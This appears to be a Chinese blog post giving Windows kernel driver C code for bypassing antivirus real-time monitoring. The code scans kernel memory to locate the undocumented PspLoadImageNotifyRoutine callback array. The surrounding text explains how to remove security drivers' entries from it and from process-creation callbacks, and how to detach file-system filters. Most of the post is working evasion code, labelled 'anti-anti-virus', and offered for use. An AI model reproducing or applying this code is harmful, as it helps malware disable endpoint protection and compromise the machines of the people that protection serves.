上次說的繞過殺毒軟件之一(實時監控篇)中,提供瞭解決方法這是對應代碼:
(至於如何清理具體驅動的NotfiyRoutine,就是找到驅動所加載的地址,用PsLoadedModuleList或ZwQuerySystemInformation,然後判斷PspLoadImageNotifyRoutine中的項是否落在此驅動範圍,
我在這就不羅嗦了,自己動手去)
//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__
DWORD FindPspLoadImageNotifyRoutine(void);
NTSTATUS InitFixNotify(void);
VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo);
#endif
//FixNotify.cpp
#include "FixNotify.h"
NTSTATUS InitFixNotify(void)
{
return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}
VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo)
{
return;
}
DWORD FindPspLoadImageNotifyRoutine(void)
{
UINT i,j;
BYTE* pCheckArea;
DWORD dwCheckAddr;
DWORD dwNotifyItemAddr;
DWORD* pPspLINotifyRoutine;
UNICODE_STRING unstrFunc;
RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");
pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
if (!pCheckArea)
{
KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
return 0;
}
for (i=0; i<100; i++)
{
dwCheckAddr = *(DWORD*)pCheckArea;
pPspLINotifyRoutine = (DWORD*)dwCheckAddr;
if (MmIsAddressValid(pPspLINotifyRoutine))
{
KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));
dwNotifyItemAddr = *pPspLINotifyRoutine;
//內核中關於Notify地址記錄問題,在winxp(win2003)與win2000(NT4.0)下差異很大
#if defined (_WINXP_) || defined (_WIN2003_)
for (j=0; j<8; j++)
{
if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
{
if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
{
KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
return (DWORD)pPspLINotifyRoutine;
}
}
dwNotifyItemAddr++;
}
#else
for (j=0; j<8; j++)
{
if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
{
KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
return (DWORD)pPspLINotifyRoutine;
}
dwNotifyItemAddr++;
}
#endif
}
pCheckArea++;
}
return 0;
}
ps:關於PsSetCreateProcessNotifyRoutine和Attach File System部分,我在下面一篇文章會分析,
1)PsSetCreateProcessNotifyRoutine修復的方法和PsSetLoadImageNotifyRoutine一樣。
2)Attach File System修復的方法是通用解除Attach的方法!詳見IoAttachDevice的實現,反過來就可以了。
具體參見下篇文章 :)